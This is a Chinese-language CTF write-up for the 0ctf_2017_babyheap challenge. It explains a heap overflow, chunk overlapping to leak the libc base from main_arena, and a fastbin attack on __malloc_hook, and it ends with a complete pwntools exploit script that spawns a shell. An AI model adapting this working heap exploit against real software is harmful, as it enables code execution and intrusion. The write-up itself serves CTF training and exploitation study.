前言: 此题为libc2.26以下的libc环境,在libc2.27及以上不一定行得通。
解题思路:
查看保护:
文章图片
保护全开的64位程序。
观察IDA伪代码: 我们进入IDA看看程序(在此之前建议先运行一遍程序,看看程序的逻辑)。
文章图片
标准的菜单题,题目先申请了一块堆结构来保存接下来我们要申请的堆地址,在开了保护的情况下,我们并不能很容易的找到这块堆地址在哪,这样我们就很难把堆块劫持到这个上面。
我们看看各个功能:
增
文章图片
本题采用了calloc来申请堆块,这样对于申请的堆块来说,原有的数据就会被清除掉,这样我们想利用二次申请堆块来泄露libc基址和堆基址的思路就泡汤了,本题的堆申请顺序是删除堆后申请新的堆可占用原有堆的序号。例如,删除1号堆块立马申请一个堆块,这个堆块的序号就是1号。
删
文章图片
删倒是删的很干净,全部置空了,我们就不能利用UAF了。
改
文章图片
这个题目的增加并不能在堆块中添加数据,这个步骤要到改中来实现,并且size由我们来决定,这样改中也就存在着本题最明显也是本文中要用到的一个漏洞——堆溢出漏洞。
查
文章图片
根据堆块的序号来查询堆块的内容。
思路总结:
我们已经发现了本题的一个堆溢出漏洞,我们就来思考一下如何利用这个漏洞。
我们的目的有两个:1.首先我们应该泄露出libc基址,这样我们就能利用onegadget来getshell。
2.在本题中我们很难泄露出堆基址,所以我们很难利用到保存了堆结构的堆块,并且保护中开了Full RELRO,我们就不能改写got表。这样的话,我们最容易想到的就是改写malloc_hook了,并且刚好在本题也行得通。
目的1:
我们想要泄露出libc基址,有一个很容易想到的办法就是查看已经free掉的unsortedbin中的堆块的fd和bk指针,他们指向了main_arena + 88的位置,而这个位置减去0x68就是malloc_hook的位置,我们就可以利用malloc_hook来泄露出libc基址了。
但是本题并不存在明显的UAF漏洞,我们该如何在没有被free的堆块中存储main_arena + 88的地址呢?
毫无疑问,我们要使用堆块重叠的技巧了。
new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)
首先我们申请两个堆块,都保持在fastbin的范围内,然后利用堆溢出漏洞修改1号堆块的size位为0
x71,就会达到这样的效果:
0x55d2c7ad3000: 0x0000000000000000 0x0000000000000071#0号堆块
0x55d2c7ad3010: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3020: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3030: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3040: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3050: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3060: 0x6161616161616161 0x6161616161616161
0x55d2c7ad3070: 0x0000000000000000 0x0000000000000071#1号堆块
0x55d2c7ad3080: 0x0000000000000000 0x0000000000000000
0x55d2c7ad3090: 0x0000000000000000 0x0000000000000000
0x55d2c7ad30a0: 0x0000000000000000 0x0000000000000000
0x55d2c7ad30b0: 0x0000000000000000 0x0000000000000000
0x55d2c7ad30c0: 0x0000000000000000 0x0000000000020f41#top
这样当我们free掉1号堆块再次申请0x60大小的堆块时,堆块的位置会在一号堆块这里,在这之前我们先在一号堆块之后申请一块unsortedbin范围大小的堆块。
new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)
此时我们申请一块大小为0x100的堆块,此堆块free后会存储main_arena地址,为泄露做准备。
由于再次申请0x60的堆块会把0x100的的堆头清除掉(calloc的作用),我们先伪造0x71的堆头,防止堆块申请时检测出问题。然后在申请完之后我们要把原来的堆头改写回来。这里申请一个0x50的堆块是为了防止free的堆块和top堆块合并。做好这些后我们就可以free掉2号堆块了,然后就可以看到下面的效果:
0x55601c27e000: 0x0000000000000000 0x0000000000000071#0号堆块
0x55601c27e010: 0x6161616161616161 0x6161616161616161
0x55601c27e020: 0x6161616161616161 0x6161616161616161
0x55601c27e030: 0x6161616161616161 0x6161616161616161
0x55601c27e040: 0x6161616161616161 0x6161616161616161
0x55601c27e050: 0x6161616161616161 0x6161616161616161
0x55601c27e060: 0x6161616161616161 0x6161616161616161
0x55601c27e070: 0x0000000000000000 0x0000000000000071#1号堆块
0x55601c27e080: 0x6161616161616161 0x6161616161616161
0x55601c27e090: 0x6161616161616161 0x6161616161616161
0x55601c27e0a0: 0x6161616161616161 0x6161616161616161
0x55601c27e0b0: 0x6161616161616161 0x6161616161616161
0x55601c27e0c0: 0x0000000000000000 0x0000000000000111#2号堆块、1号堆块
0x55601c27e0d0: 0x00007ff38ae08b78 0x00007ff38ae08b78
0x55601c27e0e0: 0x0000000000000000 0x0000000000000071
0x55601c27e0f0: 0x0000000000000000 0x0000000000000000
0x55601c27e100: 0x0000000000000000 0x0000000000000000
0x55601c27e110: 0x0000000000000000 0x0000000000000000
0x55601c27e120: 0x0000000000000000 0x0000000000000000
此时产生的堆重叠刚好让1号堆块包含了2号堆块存储的main_arena地址,这样我们只要show一下1号堆块我们就能接受到main_arena的地址了。
目的2:
【堆溢出|libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap】泄露出main_arena的地址就相当于把libc基址也泄露了,这样我们目的1就完成了,接下来我们就是要把堆块劫持到malloc_hook处,由于存在堆溢出,我们直接利用fastbin attack就行。
由于fastbin attack十分经典,这里就不多做解释,直接上exp。
完整exp:
#! /usr/bin/env python
from pwn import *p = process('./0ctf_2017_babyheap')
elf = ELF('./0ctf_2017_babyheap')
libc = ELF('./libc.so.6')def new(size):
p.sendlineafter('Command: ', '1')
p.sendlineafter('Size: ', str(size))def edit(index, size, content):
p.sendlineafter('Command: ', '2')
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))
p.sendlineafter('Content: ', content)def delete(index):
p.sendlineafter('Command: ', '3')
p.sendlineafter('Index: ', str(index))def show(index):
p.sendlineafter('Command: ', '4')
p.sendlineafter('Index: ', str(index))new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)
new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)
show(1)
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(main_arena)
malloc_hook = main_arena - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)
new(0x60)
p.interactive()
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force
- 栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me